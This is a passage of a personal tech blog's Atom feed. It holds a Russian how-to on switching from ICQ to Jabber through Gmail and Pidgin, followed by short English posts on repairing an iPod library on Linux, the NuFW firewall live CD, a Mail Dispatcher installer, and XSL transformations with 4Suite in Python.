&lt;/li&gt;&lt;li&gt;После регистрации вам автоматически предоставляется аккаунт на Jabber-сервере с таким же названием, как и адрес вашего ящика.&lt;/li&gt;
&lt;li&gt;После этого надо добавить всех нужных пользователей в свой контакт-лист.&lt;/li&gt;&lt;li&gt;И остается настроить только клиент для работы с Jabber (или пользоваться чатом прямо из веб-интерфейса &lt;a href="http://gmail.com/"&gt;gmail.com&lt;/a&gt;). Существует множество клиентов для работы с Jabber, включая тот же &lt;a href="http://qip.ru/"&gt;QIP Infium&lt;/a&gt;, &lt;a href="http://www.google.com/talk/intl/ru/"&gt;GTalk&lt;/a&gt;,  но я буду описывать все на примере &lt;a href="http://www.pidgin.im/"&gt;Pidgin&lt;/a&gt;, т.к. он кросс-платформенный, достаточно стабилен и поддерживает множество протоколов.&lt;/li&gt;&lt;/ol&gt;
&lt;br/&gt;&lt;br/&gt;


Итак, заходим на &lt;a href="http://gmail.com/"&gt;gmail.com&lt;/a&gt;:

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/SXgLD1dNFdI/AAAAAAAAAC0/roYvtNWupN4/s1600-h/001.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/SXgLD1dNFdI/AAAAAAAAAC0/roYvtNWupN4/s200/001.png" alt="" id="BLOGGER_PHOTO_ID_5293993522491102674" border="0" /&gt;&lt;/a&gt;Нажимаем ссылку "Зарегистрироваться в Gmail":
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/SXgLVk8Cr-I/AAAAAAAAAC8/lQ7mStTNBGE/s1600-h/002.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/SXgLVk8Cr-I/AAAAAAAAAC8/lQ7mStTNBGE/s200/002.png" alt="" id="BLOGGER_PHOTO_ID_5293993827294687202" border="0" /&gt;&lt;/a&gt;Могут возникнуть проблемы с вводом &lt;a href="http://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%BF%D1%87%D0%B0"&gt;капчи&lt;/a&gt;, но не бойтесь, и просто вводите букву за буквой. Если есть проблемы, то можно воспользоваться звуковой подсказкой.
Если все успешно, то вы увидите экран знакомства с Gmail:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_b8spDATDZH0/SXgMGqIRAkI/AAAAAAAAADE/PDeMH5QE0gk/s1600-h/003.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://2.bp.blogspot.com/_b8spDATDZH0/SXgMGqIRAkI/AAAAAAAAADE/PDeMH5QE0gk/s200/003.png" alt="" id="BLOGGER_PHOTO_ID_5293994670501724738" border="0" /&gt;&lt;/a&gt;И нажав на ссылку "Я готов - покажите мне мой аккаунт", вы перейдете на свой ящик:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SXgMioWrOsI/AAAAAAAAADM/cK68mgGq1MY/s1600-h/004.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SXgMioWrOsI/AAAAAAAAADM/cK68mgGq1MY/s200/004.png" alt="" id="BLOGGER_PHOTO_ID_5293995151061629634" border="0" /&gt;&lt;/a&gt;Слева вы можете видеть раздел "Чат". Это и есть веб-интерфейс с Jabber-серверу. Можете прямо оттуда добавлять пользователей к себе в контакт-лист:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_b8spDATDZH0/SXgM-ZqdDiI/AAAAAAAAADU/Rf1xxfpz7oQ/s1600-h/005.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 168px; height: 200px;" src="http://1.bp.blogspot.com/_b8spDATDZH0/SXgM-ZqdDiI/AAAAAAAAADU/Rf1xxfpz7oQ/s200/005.png" alt="" id="BLOGGER_PHOTO_ID_5293995628154392098" border="0" /&gt;&lt;/a&gt;И начать общаться. Заметьте, что Gmail очень неприхотлив к интернет-каналу, т.к. в полной мере использует возможности браузера (в частности, яваскрипт). Например, кликнув по имени пользователя, вы можете отправить ему сообщение:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_b8spDATDZH0/SXgNZ0o4y6I/AAAAAAAAADc/WJt4ol1fr-A/s1600-h/007.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://2.bp.blogspot.com/_b8spDATDZH0/SXgNZ0o4y6I/AAAAAAAAADc/WJt4ol1fr-A/s200/007.png" alt="" id="BLOGGER_PHOTO_ID_5293996099252046754" border="0" /&gt;&lt;/a&gt;И так может выглядеть ответ вашего контакта:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/SXgNry4dTiI/AAAAAAAAADk/-K6BtgPsANc/s1600-h/008.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/SXgNry4dTiI/AAAAAAAAADk/-K6BtgPsANc/s200/008.png" alt="" id="BLOGGER_PHOTO_ID_5293996408018128418" border="0" /&gt;&lt;/a&gt;Помимо всего прочего, по умолчанию история чата сохраняется (вы можете ее прочитать, кликнув по ссылке "Чаты"):
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SXgOChxfJ7I/AAAAAAAAADs/DoflzzNKSKw/s1600-h/009.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SXgOChxfJ7I/AAAAAAAAADs/DoflzzNKSKw/s200/009.png" alt="" id="BLOGGER_PHOTO_ID_5293996798562478002" border="0" /&gt;&lt;/a&gt;Однако если вы не хотите, чтобы история сохранялась, вы всегда сможете ее отключить через "Настройки":
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SXgOY5CWE9I/AAAAAAAAAD0/ZWcb1Msa24M/s1600-h/010.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 142px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SXgOY5CWE9I/AAAAAAAAAD0/ZWcb1Msa24M/s200/010.png" alt="" id="BLOGGER_PHOTO_ID_5293997182764323794" border="0" /&gt;&lt;/a&gt;
&lt;br/&gt;
Сразу замечу, что Gmail лучше работает под современными браузерами, в частности, &lt;a href="http://www.mozilla.com/en-US/firefox/"&gt;Mozilla Firefox&lt;/a&gt;, так что если вы пользуетесь старыми программами, например, Internet Explorer 6, то могут быть проблемы. Всячески рекомендую пользоваться Firefox, т.к. у него есть много достоинств, одним из которых является плагинная система, позволяющая вам сделать из браузера полноценный инструмент для повседневной работы.

&lt;br/&gt;&lt;br/&gt;

Теперь перейдем к настройке Pigdin. Закачиваем его с сайта &lt;a href="http://www.pidgin.im/"&gt;pidgin.im&lt;/a&gt;, устанавливаем и запускаем:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_b8spDATDZH0/SXgP3-9rX6I/AAAAAAAAAD8/3RrAVmLS63w/s1600-h/016.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 60px; height: 200px;" src="http://1.bp.blogspot.com/_b8spDATDZH0/SXgP3-9rX6I/AAAAAAAAAD8/3RrAVmLS63w/s200/016.png" alt="" id="BLOGGER_PHOTO_ID_5293998816442933154" border="0" /&gt;&lt;/a&gt;После этого идем в меню "Учетные записи"-&gt;"Manage accounts" и нажимаем кнопку "Add":

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/SXgQP-5xFZI/AAAAAAAAAEE/L6tJsZFmLT8/s1600-h/017.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 186px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/SXgQP-5xFZI/AAAAAAAAAEE/L6tJsZFmLT8/s200/017.png" alt="" id="BLOGGER_PHOTO_ID_5293999228743390610" border="0" /&gt;&lt;/a&gt;
&lt;br/&gt;
Устанавливаем необходимый протокол (XMMP) и вводим учетные данные. Если вы работаете в Интернете через прокси-сервер, надо его указать в дополнительных параметрах:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SXgQhoGHHCI/AAAAAAAAAEM/K8ybq_GjpLk/s1600-h/015.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 186px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SXgQhoGHHCI/AAAAAAAAAEM/K8ybq_GjpLk/s200/015.png" alt="" id="BLOGGER_PHOTO_ID_5293999531858795554" border="0" /&gt;&lt;/a&gt;Все, после этого нажимайте "Сохранить", и ваш аккаунт автоматически включится. После этого вы можете общаться так же, как привыкли в других клиентах. Например, выбирайте в контакт-листе нужного пользователя:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SXgQ3m4j5tI/AAAAAAAAAEU/zn4CpcftyJ0/s1600-h/014.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 60px; height: 200px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SXgQ3m4j5tI/AAAAAAAAAEU/zn4CpcftyJ0/s200/014.png" alt="" id="BLOGGER_PHOTO_ID_5293999909490648786" border="0" /&gt;&lt;/a&gt;И двойным кликом начинайте чат:
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SXgRCVUcfaI/AAAAAAAAAEc/bU3tMvfdXA4/s1600-h/013.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 141px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SXgRCVUcfaI/AAAAAAAAAEc/bU3tMvfdXA4/s200/013.png" alt="" id="BLOGGER_PHOTO_ID_5294000093754326434" border="0" /&gt;&lt;/a&gt;Приятного вам общения!


&lt;br/&gt;&lt;br/&gt;

Если возникнут вопросы, пишете мне на Jabber: alex.slesarev@gmail.com :-)


&lt;br/&gt;&lt;br/&gt;

P.S. Благодарю &lt;a href="http://bash.org.ru/"&gt;bash.org.ru&lt;/a&gt; за предоставленные цитаты, компанию &lt;a href="http://google.com/"&gt;Google&lt;/a&gt; за столь замечательный сервис, и все коммьюнити за протокол XMMP и замечательный клиент Pidgin.

&lt;br/&gt;&lt;br/&gt;
&lt;b&gt;ДОПОЛНЕНИЕ:&lt;/b&gt; Еще одним преимуществом джаббера является неприхотливость к пропускной способности Интернет-канала. Даже если он полностью забит торрентом (конечно, при скачивании легального контента), джаббер не теряет соединение, в отличие от аськи, которая постоянно отключается.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-6658801455381022402?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/6658801455381022402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/01/icq-jabber.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6658801455381022402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6658801455381022402'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/01/icq-jabber.html' title='Переходим с ICQ на Jabber.'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_b8spDATDZH0/SXgLD1dNFdI/AAAAAAAAAC0/roYvtNWupN4/s72-c/001.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4064949081619487403</id><published>2009-01-12T21:58:00.004-08:00</published><updated>2009-01-12T22:21:02.702-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>iPod torment</title><content type='html'>&lt;p&gt;Apple iPod is very fractious device, and you should be certain in all your actions when you working with it.&lt;/p&gt;
&lt;p&gt;It so happened that all music on iPod is disappear (probably after incorrect ejecting). Although during connection to Rhythmbox everything was fine (playlists and songs were working properly), the device itself showed "No Music". Digging the Internet showed that the only true way to fix it is repairing using iTunes. But unfortunately iTunes is working only in Windows and MacOSX, neither of these I have. So I tried to find another way.&lt;p&gt;
&lt;p&gt;Further digging lead me to &lt;a href="http://eric-blue.com/2007/04/15/how-to-fix-a-corrupt-ipoditunes-music-database/"&gt;this&lt;/a&gt; article. So I downloaded &lt;a href="http://www.floola.com/"&gt;Floola&lt;/a&gt; and started it (please notice that it is required to have libstdc++-compat libraries installed).&lt;p&gt;
&lt;p&gt;Floola didn't find iPod in its database and I had to enter required generation (using info from &lt;a href="http://en.wikipedia.org/wiki/IPod#Models"&gt;wikipedia&lt;/a&gt;) and fwid (16 digit number from "sudo /sbin/lsusb -v | grep -i Serial"). Floola tried to open iPod with this info, but it doesn't help and it closed with warning.&lt;/p&gt;
&lt;p&gt;But the main magic already happened - after ejecting iPod begin to work. It is real strange and weird, but it is true :) The moral is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make backups often;&lt;/li&gt;
&lt;li&gt;Use good and reliable music players;&lt;/li&gt;
&lt;li&gt;iPod is very nice, but be cautious.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4064949081619487403?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4064949081619487403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/01/ipod-torment.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4064949081619487403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4064949081619487403'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/01/ipod-torment.html' title='iPod torment'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-5891569408898634109</id><published>2008-12-26T00:37:00.007-08:00</published><updated>2008-12-26T03:29:00.546-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Playing with NuFW firewall.</title><content type='html'>&lt;p&gt;I have played with &lt;a href="http://live.nufw.org/"&gt;NuFW live CD&lt;/a&gt; and want to share my experience.&lt;/p&gt;
&lt;p&gt;NuFW is an application layer firewall with authentication support. It allows to build SSO-based infrastructure with minimal efforts. NuFW adds user-based filtering to Netfilter, the state of the art IP filtering layer from the Linux kernel.&lt;/p&gt;

&lt;p&gt;NuFW live CD provided web-based management system for setting up network, ACL, objects and all required rules. You can see a sample screenshot of editing ACL rule. Please notice that LiveCD is not working so stable, so be ready for certain glitches. Further I'll describe sample steps for setting up firewall for certain users.&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_b8spDATDZH0/SVSfP2duWbI/AAAAAAAAACU/FnlXt8oqi7U/s1600-h/scr01.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 160px;" src="http://4.bp.blogspot.com/_b8spDATDZH0/SVSfP2duWbI/AAAAAAAAACU/FnlXt8oqi7U/s200/scr01.png" alt="" id="BLOGGER_PHOTO_ID_5284023357479475634" border="0" /&gt;&lt;/a&gt;

&lt;p&gt;First, let's set up new user account. NuFW Live CD use only local users by default, but NuFW itself support LDAP directories. So I'll create an account via KUser.

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/SVShlB4g0_I/AAAAAAAAACc/19s6kLgLgug/s1600-h/scr02.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 160px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/SVShlB4g0_I/AAAAAAAAACc/19s6kLgLgug/s200/scr02.png" alt="" id="BLOGGER_PHOTO_ID_5284025920345134066" border="0" /&gt;&lt;/a&gt;

&lt;/p&gt;&lt;p&gt;Second step - create an authenticate object in Nuface:&lt;/p&gt;&lt;p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_b8spDATDZH0/SVS-BwwFc0I/AAAAAAAAACk/xzf0AdGG0Mk/s1600-h/scr03.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 160px;" src="http://3.bp.blogspot.com/_b8spDATDZH0/SVS-BwwFc0I/AAAAAAAAACk/xzf0AdGG0Mk/s200/scr03.png" alt="" id="BLOGGER_PHOTO_ID_5284057200288166722" border="0" /&gt;&lt;/a&gt;

&lt;/p&gt;&lt;p&gt;And the last step - add ACL for the user:&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_b8spDATDZH0/SVS-pgEBumI/AAAAAAAAACs/yH1CXLXf2x8/s1600-h/scr04.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 160px;" src="http://2.bp.blogspot.com/_b8spDATDZH0/SVS-pgEBumI/AAAAAAAAACs/yH1CXLXf2x8/s200/scr04.png" alt="" id="BLOGGER_PHOTO_ID_5284057883003173474" border="0" /&gt;&lt;/a&gt;


&lt;p&gt;As you can see there are nothing special in such actions. Unfortunately, I can't provide a full tutorial how to set up NuFW for solid infrastructure, but I hope that you can do it by yourself. &lt;a href="http://live.nufw.org/guide/guide.html.en"&gt;Quick guide to NuFW.Live&lt;/a&gt; will help you. Happy administrating!

&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-5891569408898634109?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/5891569408898634109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/12/playing-with-nufw-firewall.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5891569408898634109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5891569408898634109'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/12/playing-with-nufw-firewall.html' title='Playing with NuFW firewall.'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_b8spDATDZH0/SVSfP2duWbI/AAAAAAAAACU/FnlXt8oqi7U/s72-c/scr01.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1195516785942722126</id><published>2008-12-12T19:27:00.002-08:00</published><updated>2008-12-12T19:30:47.530-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='rss'/><title type='text'>Google Reader shared items</title><content type='html'>&lt;p&gt;I have began to share my Google Reader items which are accessible on this page:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.google.com/reader/shared/08144242512191999080"&gt;http://www.google.com/reader/shared/08144242512191999080&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Maybe you will find some interesting for you from these items. Happy reading!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1195516785942722126?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1195516785942722126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/12/google-reader-shared-items.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1195516785942722126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1195516785942722126'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/12/google-reader-shared-items.html' title='Google Reader shared items'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-949145101523125278</id><published>2008-12-08T21:06:00.005-08:00</published><updated>2008-12-08T21:12:49.684-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>New Mail Dispatcher executable</title><content type='html'>&lt;p&gt;I have created Windows installer package for current version of Mail Dispatcher:&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://downloads.sourceforge.net/maildispatcher/maildispatcher-0.3.exe"&gt;http://downloads.sourceforge.net/maildispatcher/maildispatcher-0.3.exe&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
It is built with slightly outdated Python and GTK, so I have not updated
the project site with this new link. After releasing new version of Mail Dispatcher I'll release a new Windows installer package built with updated frameworks.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-949145101523125278?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/949145101523125278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2008/12/new-mail-dispatcher-executable.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/949145101523125278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/949145101523125278'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2008/12/new-mail-dispatcher-executable.html' title='New Mail Dispatcher executable'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3356405590233194347</id><published>2008-12-05T21:02:00.004-08:00</published><updated>2008-12-05T21:27:46.537-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='xsl'/><title type='text'>XSL transformations in Python</title><content type='html'>&lt;p&gt;I want to describe how to do XSL transformations in Python by using &lt;a href="http://4suite.org/"&gt;4Suite&lt;/a&gt;. It is a really easy, and requires just a few steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install 4Suite technologies for Python:
&lt;pre&gt;
$ sudo yum install python-4Suite-XML
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Create a required XML file (for example, simple1.xml):
&lt;pre&gt;
&amp;lt;!-- The stylesheet to apply --&amp;gt;
&amp;lt;?xml-stylesheet href="simple.xsl" type="text/xsl"?&amp;gt;
&amp;lt;document cache-methods="get,post"&amp;gt;
        &amp;lt;title&amp;gt;Simple XSLT sample&amp;lt;/title&amp;gt;
        &amp;lt;body&amp;gt;
                &amp;lt;heading&amp;gt;Simple XSLT sample&amp;lt;/heading&amp;gt;
                &amp;lt;paragraph&amp;gt;
                        This is a sample text.
                &amp;lt;/paragraph&amp;gt;
        &amp;lt;/body&amp;gt;
&amp;lt;/document&amp;gt;
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Create a required XSL file (for example, simple1.xsl):
&lt;pre&gt;
&amp;lt;xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"&amp;gt;
        &amp;lt;!-- 
                Output an XHTML/transitional document (uses html output method
                as Xalan does not support xhtml)
         --&amp;gt;
        &amp;lt;xsl:output method="html" indent="yes" version="4.0" encoding="us-ascii"
media-type="text/html" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN" /&amp;gt;
        &amp;lt;!-- Match the document root --&amp;gt;
        &amp;lt;xsl:template match="/document"&amp;gt;
                &amp;lt;!-- Output an html document --&amp;gt;
                &amp;lt;html&amp;gt;
                        &amp;lt;!-- Copy the title --&amp;gt;
                        &amp;lt;head&amp;gt;&amp;lt;title&amp;gt;&amp;lt;xsl:value-of select="title" /&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
                        &amp;lt;!-- Process the body --&amp;gt;
                        &amp;lt;body&amp;gt;
                                &amp;lt;xsl:apply-templates select="body" /&amp;gt;
                        &amp;lt;/body&amp;gt;
                &amp;lt;/html&amp;gt;
        &amp;lt;/xsl:template&amp;gt;
        
        &amp;lt;!-- Match a heading --&amp;gt;
        &amp;lt;xsl:template match="heading"&amp;gt;
                &amp;lt;h1&amp;gt;&amp;lt;xsl:apply-templates select="node()" /&amp;gt;&amp;lt;/h1&amp;gt;
        &amp;lt;/xsl:template&amp;gt;
        
        &amp;lt;!-- Match a paragraph --&amp;gt;
        &amp;lt;xsl:template match="paragraph"&amp;gt;
                &amp;lt;p&amp;gt;&amp;lt;xsl:apply-templates select="node()" /&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;/xsl:template&amp;gt;
                
&amp;lt;/xsl:stylesheet&amp;gt;
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Run Python code:
&lt;pre&gt;
$ ipython
In [1]: from Ft.Xml.Xslt import Transform
In [2]: result = Transform('simple1.xml', 'simple1.xsl')
In [3]: print result
&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;meta content="text/html; charset=us-ascii" http-equiv="Content-Type"&amp;gt;
    &amp;lt;title&amp;gt;Simple XSLT sample&amp;lt;/title&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
                
    &amp;lt;h1&gt;Simple XSLT sample&amp;lt;/h1&amp;gt;
                
    &amp;lt;p&amp;gt;
                        This is a sample text.
                &amp;lt;/p&amp;gt;
        
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The main magic is &lt;b&gt;Transform&lt;/b&gt; function - it takes XML and XSL files and do transformation. For further digging take a look to &lt;a href="http://demos.4suite.org/index.html"&gt;4Suite demos&lt;/a&gt;.&lt;/p&gt;
